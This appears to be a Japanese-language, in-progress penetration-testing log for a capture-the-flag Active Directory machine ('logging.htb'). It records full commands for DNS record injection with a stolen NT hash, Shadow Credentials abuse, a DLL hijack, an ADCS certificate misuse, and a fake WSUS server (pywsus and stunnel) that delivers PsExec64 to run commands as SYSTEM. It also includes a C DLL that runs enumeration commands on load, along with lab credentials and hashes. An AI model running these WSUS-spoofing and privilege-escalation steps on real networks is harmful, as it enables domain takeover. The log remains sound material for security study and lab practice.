stunnel /tmp/stunnel.conf
DNS A レコード追加 — wsus.logging.htb → 10.10.14.245
実行理由: DC01 が wsus.logging.htb を名前解決した際に攻撃元 (10.10.14.245) に向くよう、ドメイン DNS に A レコードを追加する。msa_health$ は LDAP 経由で DNS レコードを操作する権限を持つ。
python3 /opt/krbrelayx/dnstool.py \ -u 'logging.htb\msa_health$' \ -p :603fc24ee01a9409f83c9d1d701485c5 \ -r wsus.logging.htb \ -d 10.10.14.245 \ --action add \ DC01.logging.htb
nslookup wsus.logging.htb DC01.logging.htb
Server: DC01.logging.htb
Address: 10.129.245.130
Name: wsus.logging.htb
Address: 10.10.14.245
pywsus ペイロード設定
実行理由: GoSecure の pywsus は Windows Update Agent の SOAP プロトコルを模倣し、偽の更新メタデータを返す。WUA が更新を受け入れて実行するには、Microsoft 署名済みバイナリ (PsExec64.exe) をペイロードとして使用し、CommandLineInstallation ハンドラでシステムコマンドを実行させる。
PsExec64.exe はマイクロソフト署名済みの Sysinternals ツールであり、Windows の Authenticode 検証をパスする。引数 -s で SYSTEM として子プロセスを実行できるため、WUA (LocalSystem) 権限のコンテキストで任意コマンドを実行するのに適している。
| 設定項目 | 値 |
|---|---|
| ペイロードバイナリ | /tmp/PsExec64.exe |
| PsExec64 SHA256 | 7frhppUi+HsSxtrDIl2TDkhIgy48VR7h59MXNr9FJe8= (Microsoft署名済み) |
| 実行コマンド引数 | /accepteula -s cmd.exe /c whoami>C:\ProgramData\UpdateMonitor\Logs\system_test.txt |
| pywsus リスンアドレス | 10.10.14.245:8530 (HTTP) |
cd /tmp/pywsus && python3 pywsus.py \ -H 10.10.14.245 \ -p 8530 \ -e /tmp/PsExec64.exe \ -c '/accepteula -s cmd.exe /c whoami>C:\ProgramData\UpdateMonitor\Logs\system_test.txt' \ -v --log-file /tmp/wsus_server10.log
pywsus — WUA 接続の初回観察
実行理由: DC01 の WUA は約2分間隔で更新チェックを行う (UpdateChecker Agent タスク経由)。pywsus を起動後にログを監視し、WUA が正常に偽サーバーに接続しているかを確認する。
19:05:42 CLIENT -> RegisterComputer Windows Server 2019 Standard build 17763 arch AMD64 -> KB5048038 19:05:42 CLIENT -> SyncUpdates KB5048038 -> PsExec64.exe 19:07:41 CLIENT -> RegisterComputer Windows Server 2019 Standard build 17763 arch AMD64 -> KB5048038 19:07:41 CLIENT -> SyncUpdates KB5048038 -> PsExec64.exe
GetExtendedUpdateInfo や実際のダウンロードが発生しない。また WUA イベントログには毎回エラーが記録されていた (Phase 11 で詳細調査)。
# 初期設定: pywsus のダウンロード URL が HTTP になっていた{uuid}/PsExec64.exe ← WUA は HTTPS 経由でのみダウンロード # 修正: stunnel 経由の HTTPS URL に変更 http://10.10.14.245:8530/{uuid}/PsExec64.exe https://wsus.logging.htb:8531/
WUA 攻撃調査 — エラー 0x80240439 の原因究明
WUA 設定の詳細確認 (privesc_enum DLL)
実行理由: WUA が SyncUpdates を受け取った後に処理を中断している原因を特定するため、DC01 のレジストリから WUA 設定を直接読み取る診断 DLL を作成した。設定の不整合や予期しないオプションが問題の原因である可能性を検討した。
#include <windows.h>
#include <stdio.h>
void RunCmd(const char *cmd, const char *outfile, int append) {
char buf[2048];
if (append)
snprintf(buf, sizeof(buf), "C:\\Windows\\System32\\cmd.exe /c %s >> %s 2>&1", cmd, outfile);
else
snprintf(buf, sizeof(buf), "C:\\Windows\\System32\\cmd.exe /c %s > %s 2>&1", cmd, outfile);
WinExec(buf, SW_HIDE);
Sleep(1500);
}
void DoWork() {
const char *out = "C:\\ProgramData\\UpdateMonitor\\Logs\\privesc.txt";
// AlwaysInstallElevated check
RunCmd("reg query HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated", out, 0);
RunCmd("reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer /v AlwaysInstallElevated", out, 1);
// WUA registry state
RunCmd("reg query \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\" /s", "wua_reg.txt", 0);
// Service enumeration
RunCmd("sc query type= all state= all", "services.txt", 0);
// Unquoted service paths
RunCmd("wmic service get name,pathname | findstr /i /v \"c:\\\\windows\" | findstr /i /v \"\\\"\"", "unquoted.txt", 0);
// Check WSUS download dir
RunCmd("dir C:\\Windows\\SoftwareDistribution\\Download\\SharedFileCache /b /s", "sfc.txt", 0);
// Permissions check
RunCmd("icacls \"C:\\Program Files\\UpdateMonitor\"", "icacls.txt", 0);
// Read root.txt attempt
RunCmd("type C:\\Users\\Administrator\\Desktop\\root.txt", "root_attempt.txt", 0);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hinstDLL);
DoWork();
}
return TRUE;
}
HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ https://wsus.logging.htb:8531
WUStatusServer REG_SZ https://wsus.logging.htb:8531
UseWUServer REG_DWORD 0x1
AcceptTrustedPublisherCerts REG_DWORD 0x1
HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
AUOptions REG_DWORD 0x4 (自動ダウンロード & スケジュールインストール)
AutomaticMaintenanceEnabled REG_DWORD 0x1 (メンテナンスウィンドウ: 午前3時)
ScheduledInstallTime REG_DWORD 0x3 (午前3時にインストール)
NoAutoUpdate REG_DWORD 0x0 (自動更新有効)
# AlwaysInstallElevated: 設定なし (特権昇格不可) # SharedFileCache: 空 — ペイロードは一度もダウンロードされていない # C:\Program Files\UpdateMonitor の ACL: # logging\IT グループ: Full Control # root.txt: Access is denied. (jaylee.clifton は Administrator ではない)
WUA サービス状態確認 (wua_force DLL)
実行理由: WUA が正常に動作しているかどうかを確認するため、wuauserv / UsoSvc / BITS の各サービス状態を調査した。WUA が停止していれば更新チェック自体が行われない。また UpdateChecker Agent タスクの詳細を確認し、2分ごとの接続がどのプロセスから発生しているかを特定した。
SERVICE_NAME: wuauserv
STATE : 4 RUNNING
START_TYPE : 2 AUTO_START
BINARY_PATH: svchost.exe -k netsvcs -p
SERVICE_START_NAME: LocalSystem <-- SYSTEM 権限で実行
SERVICE_NAME: UsoSvc
STATE : 1 STOPPED
START_TYPE : 4 DISABLED <-- 無効化済み
BITS: クエリ失敗 (アクセス拒否)
TaskName: \UpdateChecker Agent
Task To Run: "C:\Program Files\UpdateMonitor\UpdateMonitor.exe" 500 /scan=3 /autofix=true
Run As User: jaylee.clifton
Repeat: Every 3 minutes
Author: logging\Administrator
UsoClient StartScan は使用不可。
WUA イベントログ解析 — エラー 0x80240439 の発見
実行理由: SharedFileCache が空 (ペイロード未ダウンロード) であることから、WUA がペイロードを認識する前の段階で失敗していることがわかった。Windows Update クライアントの操作ログを取得し、具体的なエラーコードと発生フェーズを特定する。
wevtutil.exe qe Microsoft-Windows-WindowsUpdateClient/Operational \ /count:30 /rd:true /format:text \ > C:\ProgramData\UpdateMonitor\Logs\wuaevent.txt
Event[0]: Log Name: Microsoft-Windows-WindowsUpdateClient/Operational Source: Microsoft-Windows-WindowsUpdateClient Level: Error Task: Windows Update Agent Opcode: Check for Updates User: NT AUTHORITY\SYSTEM Description: Windows Update failed to check for updates with error 0x80240439. # 30件すべて: Event ID=25, Opcode=Check for Updates, Error=0x80240439 # 約2分間隔で発生 (WUA スキャンサイクルと一致)
0x80240439 の根本原因 — sync-updates.xml の Deadline 問題
実行理由: 0x80240439 は「更新のスキャン中に WSUS サーバーとの通信に問題が発生した」を示すが、pywsus のログでは SyncUpdates まで正常に応答していた。pywsus のソースコードの変更履歴 (git diff) を確認したところ、sync-updates.xml テンプレートに修正が加わっていた。
cd /tmp/pywsus && git diff HEAD~1 -- wsus/xml/sync-updates.xml
- <AutoSelect>0</AutoSelect> + <AutoSelect>1</AutoSelect> ← 変更: WUA が自動選択するよう変更 - <AutoDownload>0</AutoDownload> + <AutoDownload>1</AutoDownload> ← 変更: 自動ダウンロード強制 + + <Deadline>2026-06-10T09:59:30Z</Deadline> ← 追加: 過去日時の期限
sync-updates.xml の修正と追加調査
実行理由: 根本原因 (過去日時 Deadline) を解消するため、sync-updates.xml をオリジナルのフォーマット (AutoSelect=0, AutoDownload=0, Deadline なし) に戻した。また、追加の接続テストと WUA COM API テストも実施した。
cd /tmp/pywsus && git checkout -- wsus/xml/sync-updates.xml # または手動で Deadline 行を削除し AutoSelect/AutoDownload を 0 に戻す
$r = Test-NetConnection wsus.logging.htb -Port 8531 $r.TcpTestSucceeded | Out-File C:\ProgramData\UpdateMonitor\Logs\tcp_test.txt
TcpTestSucceeded: True
RemoteAddress: 10.10.14.245
RemotePort: 8531
# DC01 は stunnel (HTTPS ポート 8531) に到達できている
$s = New-Object -ComObject 'Microsoft.Update.Session'
$su = $s.CreateUpdateSearcher()
$r = $su.Search("IsInstalled=0")
$r.Updates | ForEach-Object { $_.Title } | Out-File wua_comtest.txt
(空ファイル)
# jaylee.clifton は非管理者のため WUA COM ダウンロード API を呼び出せない
# 検索は成功しても Download/Install は管理者権限が必要
wuauclt.exe / usoclient.exe を呼び出そうとすると WOW64 パスに見つからない。C:\Windows\Sysnative\ 経由でアクセスする必要がある。ただし UsoSvc が DISABLED のため usoclient によるスキャントリガーも不可。
修正後の状態と残課題
現状: sync-updates.xml を元に戻した pywsus (server10) を起動し、WUA の次のスキャンサイクルを待機している。0x80240439 が解消されれば WUA は SyncUpdates 応答を正常に処理し、GetExtendedUpdateInfo を呼び出してペイロードのダウンロードに進むはずである。
cd /tmp/pywsus && python3 pywsus.py \ -H 10.10.14.245 \ -p 8530 \ -e /tmp/PsExec64.exe \ -c '/accepteula -s cmd.exe /c whoami>C:\ProgramData\UpdateMonitor\Logs\system_test.txt' \ -v --log-file /tmp/wsus_server10.log
| 確認ステップ | 状態 | 備考 |
|---|---|---|
| WUA → RegisterComputer / SyncUpdates | 成功 | 2分ごとに接続確認済み |
| エラー 0x80240439 解消 | 確認待ち | Deadline 削除後の次スキャンで確認 |
| GetExtendedUpdateInfo 呼び出し | 未確認 | 0x80240439 解消後に期待 |
| PsExec64.exe ダウンロード | 未達成 | GetExtendedUpdateInfo 後に実行 |
| SYSTEM でコマンド実行 | 未達成 | インストールタイミング問題あり (3AM) |
| root.txt 取得 | 未達成 | 最終目標 |
まとめ・現状・次ステップ
取得済みフラグ
USER FLAG — C:\Users\jaylee.clifton\Desktop\user.txt
DLL ハイジャック (UpdateMonitor → jaylee.clifton コンテキスト) で取得
ROOT FLAG
偽 WSUS 構築済み・WUA 接続確認済み・0x80240439 修正中
取得済み認証情報
| ユーザー | 認証情報 | 取得方法 | アクセス先 |
|---|---|---|---|
| wallace.everette | Welcome2026@ (平文) | 初期提供 | SMB, WinRM |
| svc_recovery | Em3rg3ncyPa$$2026 (平文) | ログファイルから発見・推測 | LDAP, gMSA読み取り |
| msa_health$ | 603fc24ee01a9409f83c9d1d701485c5 (NT hash, 更新後) | Shadow Credentials (msDS-KeyCredentialLink) | WinRM, LDAP (GenericWrite on DC01) |
攻撃チェーン図解
初期アクセス: wallace.everette / Welcome2026@
|
v
SMB Logs共有 → IdentitySync_Trace_20260219.log
| → svc_recovery / Em3rg3ncyPa$$2025 (期限切れ)
| → 推測: Em3rg3ncyPa$$2026 ✓
v
svc_recovery (LDAP)
|
+-- gMSA読み取り権限 → msa_health$ NTLM hash
+-- msDS-KeyCredentialLink WriteProperty → Shadow Credentials → msa_health$ TGT
v
msa_health$ (WinRM + LDAP) NT hash: 603fc24ee01a9409f83c9d1d701485c5
|
+-- GenericWrite on DC01$
+-- WSUS クライアント設定確認 → https://wsus.logging.htb:8531
+-- DNS レコード追加: wsus.logging.htb → 10.10.14.245 ✓
|
v
UpdateMonitor サービス (jaylee.clifton として実行)
| → C:\ProgramData\UpdateMonitor\Settings_Update.zip をロード
| → settings_update.dll の PreUpdateCheck() を呼び出す
v
DLL ハイジャック (dll_v11, 32bit)
| → whoami: logging\jaylee.clifton ✓
| → user.txt: 4cc1df11afa7c76c9fc7991e5ba84fbe ✓
v
ADCS UpdateSrv 証明書登録 (jaylee.clifton = IT グループメンバー)
| → certreq -new (MachineKeySet=FALSE): "User context conflicts" ✗
| → certreq -new (MachineKeySet=TRUE): "Administrator needed" ✗
| → PowerShell CertificateRequest → cert.csr (676 bytes) ✓
| → certutil.exe -submit (SysWOW64): "Unknown arg: -submit" ✗
| → Sysnative\certutil.exe -submit → wsus.cer 取得 ✓
v
TLS 証明書取得完了 (wsus.logging.htb SAN, ドメイン CA 発行)
| → openssl pkcs12 -export → wsus.pfx ✓
| → openssl pkcs12 → wsus.crt ✓ (stunnel 用)
v
偽 WSUS サーバー構築済み
| → DNS: wsus.logging.htb → 10.10.14.245 ✓
| → stunnel: port 8531 (HTTPS) → port 8530 (HTTP to pywsus) ✓
| → pywsus: PsExec64.exe ペイロード, SYSTEM コマンド実行 ✓
v
WUA 攻撃 (進行中)
| → WUA スキャン: RegisterComputer / SyncUpdates 受信 ✓
| → エラー 0x80240439 (EventID 25): SyncUpdates XML 問題
| 原因: sync-updates.xml に過去日時 Deadline + AutoSelect/AutoDownload=1
| → 修正: sync-updates.xml を元のフォーマットに戻す
| → [次] 0x80240439 解消確認 → GetExtendedUpdateInfo 呼び出し
| → [次] PsExec64.exe ダウンロード → SYSTEM コマンド実行
v
[未達成] root.txt 取得
重要な発見・学習ポイント
- Kerberos 時刻スキュー: DC が攻撃元より約7時間進んでいる。
curl -I http://10.129.245.130/ | grep DateでDCのエポック秒を取得しfaketime "@$DC_EPOCH"ですべての Kerberos コマンドを実行。 - gMSA パスワードローテーション: セッション切り替え時に msa_health$ の NT hash が変わることがある。Shadow Credentials で取得した TGT は有効期限内であれば再利用可能。Hash が変わった場合は
certipy shadow autoで再取得。 - 32bit DLL の WOW64 制約: UpdateMonitor.exe は x86 のため DLL も 32bit が必要。32bit プロセスからの
certutil.exe呼び出しは SysWOW64 版にリダイレクトされ、-submitコマンドがない。C:\Windows\Sysnative\パスで64bit バイナリにアクセス可能。 - ファイルハンドル継承バグ:
CreateProcessAでbInheritHandles=TRUEかつSTARTF_USESTDHANDLESを使用すると、子プロセスが GENERIC_WRITE ハンドルを引き継ぐ。FILE_SHARE_READ のみ指定した場合、子プロセスがハンドルを保持し続けると後続の WRITE オープンが AccessDenied になる。 - UpdateSrv テンプレート: CT_FLAG_MACHINE_TYPE が設定されているため certreq のクライアント側検証を通過できない。raw PKCS#10 CSR を certutil -submit で直接 CA に送ることでバイパス可能。
- WSUS MITM: DC01 はクライアントとして
https://wsus.logging.htb:8531に接続する。TLS 証明書 (wsus.logging.htb SAN 付き) があれば pywsus で偽サーバーを構築し、承認済み更新として任意 EXE を SYSTEM で実行させられる。 - WUA エラー 0x80240439: pywsus の sync-updates.xml に過去日時の Deadline を設定すると、WUA はスキャンフェーズで更新を無効と判断し 0x80240439 でエラーを返す。エラーは「Check for Updates」フェーズで発生するため、ダウンロード URL の問題ではなく XML の内容が原因。WUA イベントログ (Microsoft-Windows-WindowsUpdateClient/Operational, Event ID 25) でフェーズと原因を特定できる。
- AUOptions と Deadline の関係: AUOptions=4 (自動DL&スケジュールインストール) では Deadline なしでもダウンロードは即時行われるが、インストールは ScheduledInstallTime (午前3時) まで待機する。即時インストールを強制するには Deadline を未来日時で設定するか、直接 COM API を呼ぶ必要がある (jaylee.clifton は非管理者のため COM API は利用不可)。
- pywsus のダウンロード URL: WUA は HTTPS 経由でのみ更新バイナリをダウンロードする。pywsus で提供するダウンロード URL も
https://wsus.logging.htb:8531/{uuid}/...形式 (stunnel 経由) にする必要がある。HTTP URL を指定すると GetExtendedUpdateInfo は成功してもダウンロードが発生しない。
残タスク (root.txt 取得まで)
- [完了] wsus.cer 取得: Sysnative\certutil.exe -submit → RequestId=8 で発行成功。wsus.pfx / wsus.crt 抽出済み。
- [完了] 偽 WSUS 構築: stunnel (port 8531 HTTPS) + pywsus (port 8530 HTTP) 稼働中。DNS 登録済み (wsus.logging.htb → 10.10.14.245)。
- [完了] WUA 接続確認: RegisterComputer / SyncUpdates の受信を pywsus ログで確認。
- [進行中] 0x80240439 解消: sync-updates.xml の過去日時 Deadline を削除。修正後の WUA スキャンサイクル (約2分) で解消を確認中。
- [次] GetExtendedUpdateInfo 確認: 0x80240439 解消後、WUA がペイロードのメタデータを要求するかを pywsus ログで確認。
- [次] ペイロードダウンロード確認: SharedFileCache に PsExec64.exe が保存されることを確認。
- [次] インストールタイミング解決: AUOptions=4 + ScheduledInstallTime=3 の制約への対策を検討 (未来日時 Deadline の使用など)。
- [次] SYSTEM コマンド実行: PsExec64.exe -s で
whoami > system_test.txt→ root.txt 読み取りに変更。
